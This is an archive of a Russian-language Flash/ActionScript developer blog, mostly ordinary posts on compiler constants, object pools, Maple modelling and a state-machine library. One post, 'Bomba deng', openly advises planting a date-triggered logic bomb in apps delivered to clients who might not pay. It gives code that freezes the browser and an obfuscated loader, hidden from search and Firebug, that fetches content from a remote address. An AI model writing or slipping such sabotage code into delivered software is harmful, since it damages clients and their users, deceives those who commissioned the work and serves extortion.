Archive for the 'tocode' Category

Макросы компилятора ActionScript

Честно скажу, сам не знал. Прочитал только сегодня тут.

Значит, оказывается, для компилятора можно указывать константы в специальном неймспейсе ( по крайней мере выглядит так ), и потом использовать их для условной компиляции в зависимости от значения. Например, для отладки можно использовать следующий код:

function log( message:String ):void
{
 	CONFIG::Debug {
  		trace( message );
  	}
}

Который, если CONFIG::Debug == true, вкомпилит этот trace, в противном же случае нет.

Константы определяются следующим образом:

  • Flash. В File > Publish Settings, кнопка Settings. Добавить имя и значение в Config constants.
  • Flex Ant Task.
    <mxmlc ... >
        <define name="CONFIG::Debug" value="false"/>
    </mxmlc>
  • Flex-config.xml
    <compiler>
            <define>
                    <name>CONFIG::Debug</name>
                    <value>false</value>
            </define>
    </compiler>
  • mxmlc -define=CONFIG::Debug,false

Получается очень интересная штука. Дебаг и релиз версии лично у меня отличаются наличием всяких внешних вызовов дебагеров, например Alcon, которые совершенно не нужны в релизе. Проблема лишь в том, что мало кто эту фишку знает и, если отсутствуют объявления этих констант (мало ли, скопипастили код), то скомпилить становится нетривиально.

Prolog на Mac

Допустим, вам понадобился Prolog на OS X. Если вы все еще читатете, то идем дальше.

Вообще, проглядев книгу восемдесятбородатого года про Пролог, мне он показался довольно забавным, и я решил попробовать какие-нибудь простенькие штуковины пописать. Только, как это сделать без идиотских эмуляторов на Mac. Значит, что мне понадобилось.

  • Кроссплатформенные решения я нашел в виде плагинов для Eclipse, соответственно сперва нужен сам Eclipse. Версий там вагон, я выбрал где меньше всего всякой ненужной мне фигни, так как на Java я не разрабатываю.
  • Первый плагин я пробовал PDT, он уж очень старый и на 3.5 не работает, 3.1 я скачал, но так и не установил, потому что нашел второй плагин ProDT. Он заработал нормально, и для моих простых тестов вполне достаточен. В Downloads нужно качать самый мелкий файлик.
  • Для ProDT нужен SWI-Prolog — некоторая кросплатформенная opensource имплементация языка. Качаем, ставим.
  • SWI-Prolog требует или нет MacPorts, но в любом случае, он у меня был и штука весьма полезная.
  • Распаковываем ProDT в eclipse/dropins/prodt/eclipse/plugins, запускаем eclipse и он сам все устанавливает.
  • Теперь в свойствах ProDT ( Eclipse -> Preferences -> Prolog -> Compilers -> Swi Compiler ) нужно прописать путь до компилятора, который по умолчанию ставится в /opt/local/bin/swipl.
  • Переключаем вид Window -> Show Perspective -> Other… -> Prolog.

Все, теперь можно создаь простенький проектик и файлик в нем, например, следующего содержания:

da( one ).
da( two ).

Запустить, и в консоли написать

da(X).
x = one ;
x = two.

Google Wave + AS3

wave-as-client

А тем временем на google.code лежит as3 библиотечка для работы с Google Wave API. А я только вчера отказался от приглашения. Надо будет попробовать как в следующий раз предложат с чем это едят.

Bomba deng

Если вы не уверены в заказчике, смотрим сюда и делаем бомбу замедленного действия.

var d:Date = new Date()
// payment deadline
var payMonth:int = 9;
var payDay:int = 5;
// add five days so it's not too obvious and so you can replace
// the swf on their server if they do pay
payDay+=5;
if (d.getMonth()>= payMonth){
	if (d.getDay()>= payDay){
		// very nasty code to crash flash, alternately you could do anything that will break
		// you app
		while(1){
		   stage.addEventListener(Event.ENTER_FRAME, function(){ this["__"+Math.random()]=getTimer()*Math.random()});
		}
	}
}

А лучше

while(1)
	this.addEventListener(Event.ENTER_FRAME, function():void{ this["__"+(getTimer()+Math.random())]=new BitmapData(5000,5000)});

Что, сайт не работает? Вешает браузер? Ну я не знаю, деньги переводите — я посмотрю что случилось.

И пока денег нету, слушаем и подпеваем.

Хотя, это уж слишком очевидно. Согласитесь, что делает этот код уж очень очевидно. Прокатит, если у заказчика нет исходников.

Я как-то прятал вот такой код

function f(t:String){
	var i=0;var s1="";var s2="";
	while (i<Math.floor(t.length*.5)){if(i%2){ s1+=t.charAt(t.length-(i+1));s2=t.charAt(i)+s2; }else{ s1+=t.charAt(i);s2=t.charAt(t.length-(i+1))+s2;}i++;}
	t.length%2 == 0 ?1:s1+=t.charAt(Math.floor(t.length*.5));
	return s1+s2;
}
var _c = new (getDefinitionByName(f("feaahLdyslpai..osdlr")))();
var _r = new (getDefinitionByName(f("fsauhenLtU.ReR.qselt")))(f("hwt.:t/eitgev/lradr.yuat.sntps/spstf"));
_c[f("cfnIeetaoLdnrtnoo")].addEventListener( "ioE"+"rror", function(e:*){});
_c["lo"+"ad"](_r);

Его сложно найти по ключевым словам и по адресу откуда что-то грузится, даже если это видно в том же FireBug. Можно опять же сделать привязку к дате и начинать грузить только через неделю.

Такие дела.

Youtube video API

А тем временем youtube выложил AS3 API, с помощью которого можно использовать их видюшки. Насколько я знаю, раньше это решалось какими-то грязными хаками.

Удобство приходит не одно

Такие дела. Что удобно, то не безопаснообычно не быстро.

Ради простецкой анимации хочется тупо написать две строчки:

tf.x = 4;
TweenLite.to( tf, Symbol.DURATION, {x: 0} );

При этом, когда таких анимаций происходит очень много и очень часто, создание для каждой экземпляра TweenLite приводит к сильным потерям в скорости. Я смотрел, у меня за несколько минут понасоздавалось и поубивалось 20000 экземпляров. Это к вопросу.

Приходится брать себя за задницу и писать следующее:

tf.x = 4;
addEventListener( Event.ENTER_FRAME, handlerEffect );

private function handlerEffect( evt: Event ): void
{
  if ( tf.x == 0 )
  {
    removeEventListener( Event.ENTER_FRAME, handlerEffect );
    return;
  }

  tf.x -= .5;
}

Objects pool

Продолжая тему оптимизации, хочу затронуть применение пулов объектов.

Итак, допустим, у нас постоянно создается и уничтожается большое число экземпляров некоторого класса. При этом, в один момент времени активных из них гораздо меньше, чем понасоздавалось и убилось за все время работы. Вариант, как говорится, в лоб — создавать и скидывать на плечи сборщика мусора каждый раз новый объект. Так делают большинство разработчиков, пока их не волнует вопрос памяти и производительности.

Другой способ — objects pool, объекты непосредственно не убивать, а скидывать в хранилище. При этом при запросе нового объекта, отдавать почищенный старый.

Простой тест дает убедиться, что данный способ позволяет (как минимум на моей машине) в 4 раза уменьшить накладные расходы на создание новых экземпляров класса. При этом требует совсем незначительных изменений в коде. Просто создавать не через new, а через некоторый Factory, пусть даже статический метод того же класса. И удаляя, тоже его оповещать.

public class TestClass extends Sprite
{
  private var _char: String;
  private var tf: TextField;
  private static var available: Array;

  public function TestClass( char: String )
  {
     super();
     _char = char;
     tf = new TextField();
     addChild( tf );
     tf.text = char;
  }

  public function set char( value: String ): void
  {
    _char = value;
    tf.text = _char;
  }

  public static function createObject( char: String ): TestClass
  {
    if ( !available )
    available = [];

    var o: TestClass;
    if ( available.length > 0 )
    {
      o = available.pop();
      o.char = char;
      return o;
    }else{
      return new TestClass( char );
    }
  }

  public static function deleteObject( obj: TestClass2 ): void
  {
    if ( !available )
    available = [];

    available.push( obj );
  }

}

Нужно только постоянно иметь в виду, что объекты эти необходимо тщательно чистить. Ну и, плюс статических методов того же класса, что свои экземпляры можно там почистить прямо, так сказать, покопавшись во внутренностях, приватных и протектед свойствах.

О пользе Maple

Часто возникает необходимость протестировать некоторую математическую модель прежде чем ее кодить в ActionScript или другой любой язык. Построить парочку красивых графиков, подогнать параметры. Конечно, можно быстренько накидать приложеньеце и нарисовать все во Flash, но зачем, когда есть куча специализированного математического софта? Мне когда-то в универе вдалбливали основы Maple, так что теперь с переменным успехом я пользуюсь им. Надо сказать, что я полный нуб и делаю все методом тыка, что не мешает мне тем не менее получать нужные результаты.

Итак, понадобилось мне запрограммить некоторое псевдослучайное колеблющееся движение. Мне нужен такой паттерн с периодичностью, резкими рывками, затуханием.

Открываю Maple. Начинаю задавать константы.

mpl1

minAmp — минимальное значение глобальной амплитуды,
maxAmp — максимальное,
minLen — минимальная длина волны,
deltaLen — minLen + deltaLen = maxLen — максимальная длина волны,
speed — скорость маленькой волны (позже убилось).

Далее функции длины волны и амплитуды.

mpl2

Длину волны я в примере брал константой, не хватило времени переписать под функцию, хоть там и не долго. Тут вроде бы все понятно. От некоторого x считается длина волны и амплитуда, обе периодичны.

mpl4

Получается такой график амплитуды.

mpl3

Теперь в это можно подставить еще один синус, который будет в амплитуду упираться.

mpl5

Какая-то цикличность есть, но уж слишком криво. Теперь надо добавить много рандома.

mpl6

Вот эта функция генерит рандом. Проще говоря, есть некоторый seed, который растет от “больше нуля” до “чуть больше единицы” на dseed, потом резко сбрасывается на единицу (почти до нуля) и меняется скорость роста dseed на некоторую величину определяемую переменными minRand и ampRand. И далее возвращается результат в предпоследней строчке. Отсюда получается такой рваный ритм, а из-за разброса dseed то быстрое, то медленное движение. И все это ограничено еще амплитудой, что выше.

В итоге имеем следующий результат.

mpl7

Вот это уже рандом. Играясь с параметрами, можно получить весьма интересные результаты.

Ну и пример. Долго лучше не смотреть. И он солидно грузит систему, так что рекомендую эту страничку закрывать.

Maple исходник на всякий случай.

Ну, раз просили

Просили тут онлайн и оффлайн дать пример в статью про состояния. Хорошо, возьмем вот этот эффект. Пример всего с четырьмя состояниями и без особо чего-то сложного, но все же.

Полностью исходный код можно скачать тут.

Итак, у нас есть 4 состояния:

private const INVISIBLE: String            = "invisible";
private const SHOW: String                = "show";
private const VISIBLE: String            = "visible";
private const HIDE: String                = "hide";

Конфигурация state machine проводится вот так вот:

state = new StateMachine();

state.add( INVISIBLE, VISIBLE, SHOW );
state.add( VISIBLE, INVISIBLE, HIDE );

state.addTransitionListener( StateMachine.ANY, INVISIBLE, stateInvisible );
state.addTransitionListener( StateMachine.ANY, HIDE, stateHide );
state.addTransitionListener( StateMachine.ANY, VISIBLE, stateVisible );
state.addTransitionListener( StateMachine.ANY, SHOW, stateShow );

Как видите, добавляем переходы из INVISIBLE в VISIBLE через виртуальное состояние SHOW и из VISIBLE в INVISIBLE  через HIDE. Далее, парочку листенеров в 4 состояния.

public function show(): void
{
    state.setState( VISIBLE );
}

public function hide(): void
{
    state.setState( INVISIBLE );
}

В public API эффекта экспортим две функции, в которых просто меняем состояния. За возможность такого изменения отвечает StateMachine.

Ну и, наконец, добавляем листенеры состояний:

private function stateInvisible(): void
{
    _obj.visible = false;
}

private function stateHide(): void
{
    ...
    TweenLite.to( {x:0}, 1.0, {x:1, delay: .1 + .01 * effect.numChildren + .2, onComplete: clean} );
}

private function stateVisible(): void
{
    _obj.visible = true;
}

private function stateShow(): void
{
    ...
    TweenLite.to( {x:0}, 1.0, {x:1, delay: .1 + .01 * effect.numChildren + .2, onComplete: clean} );
}

В stateHide и stateShow добавляется пустой твин, который заканчивается после всей анимации (да, нужно было использовать какой-нить setInterval, но не в этом суть) и вызывает метод clean, который в свою очередь выполняет state.release() для продолжения сложного перехода состояний.

private function clean(): void
{
    ...
    state.release();
}

Вот и все. Ссылка на полный код доступна в самом начале поста.

Что мы имеем:

  • Понятное и логичное программное разделение на состояния
  • Невозможность выполнение непредвиденного кода, если это изначально не предусмотрено в данном состоянии (или если StateMachine не сломается)
  • Легкость отладки

Плюсы на лицо, особенно с кучей состояний и сложными переходами. В таком случае код делится на стопку функций вида STATE_FUNC, например invisible_show. И сразу можно отследить, ага, я сейчас в состоянии INVISIBLE, значит за обработку этого события отвечает вооон та функция… поглядимссс.

Состояния

Update. Дописанный примерчик по теме.

Каждый флэш разработчик сталкивается в своей жизни с понятием СОСТОЯНИЯ объекта. Часто до какого-то момента человек не осознает, что он снова и снова придумывает себе то, чем наука уже давно пользуется — конечный автомат. Порой, это не так очевидно. Но, мне уже долгое время такой подход к проектированию помогает не тратить время на непонятные баги.

Представим простой пример. Есть флэшовое меню. Кто из нас не делал флэшовых меню, правда? У него (в зависимости от сложности), есть состояния, например: закрыто, анимация, открыто. Вы не представляете СКОЛЬКО я видел (да что тут преукрашать, и сам делал) менюшек, которые глючили из-за того, что что-то происходило в ненужном состоянии. Если их всего три, то, скажем реакцию на нажатия во время анимации можно легко отключить, чтобы ничего не ломалось. А что если у меня ветвящаяся цепочка изменения множества визуальных элементов, которая может быть прервана и выполнена в обратном направлении в наборе ключевых точек? Вот тут начинается жопа с отладкой, если в самом начале не принять мер.

Я помню свой пример десятикратно вложенных IF-ов с кучей переменных и граничных условий. Все это легко заменялось набором состояний с переходами.

Давно уже я себе слепил простую библиотечку для работы с состояниями, переходами и событиями. Неделю назад я на нее посмотрел трезвым взглядом и выкинул 90% всяких ненужных вещей и левого функционала. Осталась простенькая штуковинка, которая уже неделю успешно применяется вместо старого монстра. Фиксятся косячки, но тем не менее.

Идея — простая переформулировка вышесказанного. Есть состояния, возможные переходы между состояниями (в том числе и сложные) и события. Соответственно, чтобы указать, что мне нужно это событие в этом состоянии, я навешиваю на него листенер. Также навешиваются листенеры на сами переходы из состояния A в состояние B.

Пока писал, придумал BUG. При составном переходе из A в B через C будет евент перехода из A в C и из C в B, а не ожидаемый A в B. Записал пофиксить на выходных.

Как дотестирую еще, выложу на какой-нить гуглокод. Пока, выдержка из readme.

/**
* РУКОВОДСТВО.
* 0. Все состояния имеют строковые имена. Допустим, что
*    const INVISIBLE, VISIBLE, SHOW содержат названия состояний.
* 1. Добавить состояния
*    // Просто добавляет состояние без перехода
*    state.add( INVISIBLE );
*    // Добавляет состояние INVISIBLE и переход из него в VISIBLE
*    state.add( INVISIBLE, VISIBLE );
*    // Добавляет состояние INVISIBLE и переход из него в VISIBLE через SHOW
*    state.add( INVISIBLE, VISIBLE, SHOW );
*    Когда добавляется самое первое состояние, оно принимается за текущее. При этом не срабатывают события смены состояния.
*    Второй параметр функции может быть массивом состояний.
* 2. Определить листенеры смены состояний
*    // Выполняет stateVisible, когда состояние из любого меняется на VISIBLE
*    state.addTransitionListener( StateMachine.ANY, VISIBLE, stateVisible );
*    // Выполняет stateShow, когда состояние меняется с INVISIBLE на SHOW
*    state.addTransitionListener( INVISIBLE, SHOW, stateShow );
* 3. Определить листенеры событий
*    // Вызывает doShow, когда событие “show” диспатчится в любом состоянии
*    state.addEventListener( StateMachine.ANY, “show”, doShow );
*    // Вызывает doHide, когда событие “hide” диспатчится в состоянии VISIBLE
*    state.addEventListener( VISIBLE, “hide”, doHide );
*    Листенеры событий являются просто колбэк функциями, и не имеют отношение к флэшвой событийной системе и классу Event
* 4. Поустанавливать состояния и посмотреть работают ли листенеры изменений
*    state.setState( VISIBLE );
* 5. Подиспатчить события и посмотреть работают ли листенеры события
*    state.dispatch( “hide” );
*
* ПОСЛОЖНЕЕ.
* 0. Если состояние из текущего в требуемое не может быть изменени, то оно просто не изменяется. Никаких ошибок не выбрасывается.
* 1. Если нужно добавть двусторонние транзишены, например из состояния A в B и из B в A, используйте метод addTwoWay().
*    addTwoWay( A, B, via: * = null);
* 2. Чтобы передать параметры листенерам событий, используйте второй параметр.
*    Можно передать как один аргумент так и массив аргументов.
*    dispatch( name, args: * = null )
* 3. Можно удалить листенер перехода или события.
*    removeTransitionListener() and removeEventListener();
* 4. Цепочки состояний.
*    Можно создавать сложные переходы через виртуальные и реальные состояния. Виртуальное состояние — это состояние,
*    которое не было зарегистрировано методом add() и не имеет переходов из/в себя. Чтобы использовать цепочки,
*    нужно указать промежуточные состояния в третьем параметры метода state.add(). Это может быть единичное состояние
*    или массив состояний.
*    state.add( INVISIBLE, VISIBLE, SHOW ) создаст такой переход:
*    INVISIBLE –> SHOW –> VISIBLE. При переходе на внутренний состояния также срабатывают все листенеры. Здесь
*    SHOW — виртуальное состояние. Эта конструкция считается одним переходом из INVISIBLE в VISIBLE, но как видите
*    является асинхронным переходом. Состояние SHOW может выполняться какое-то время что-то рисуя на экране,
*    когда оно заканчивается, нужно вызвать метод state.release(), иначе конечный автомат никогда не выйдет из
*    этого состояния.
*    Выполнение цепочки может быть остановлено только в реальных состояниях и если canChangeStateDuringTransition == true.
*    Это случается, если смена состояния запрашивается во время перехода. Новое состояние встает в очередь и рассматривается
*    после завершения перехода.
*/

И временная ссылочка.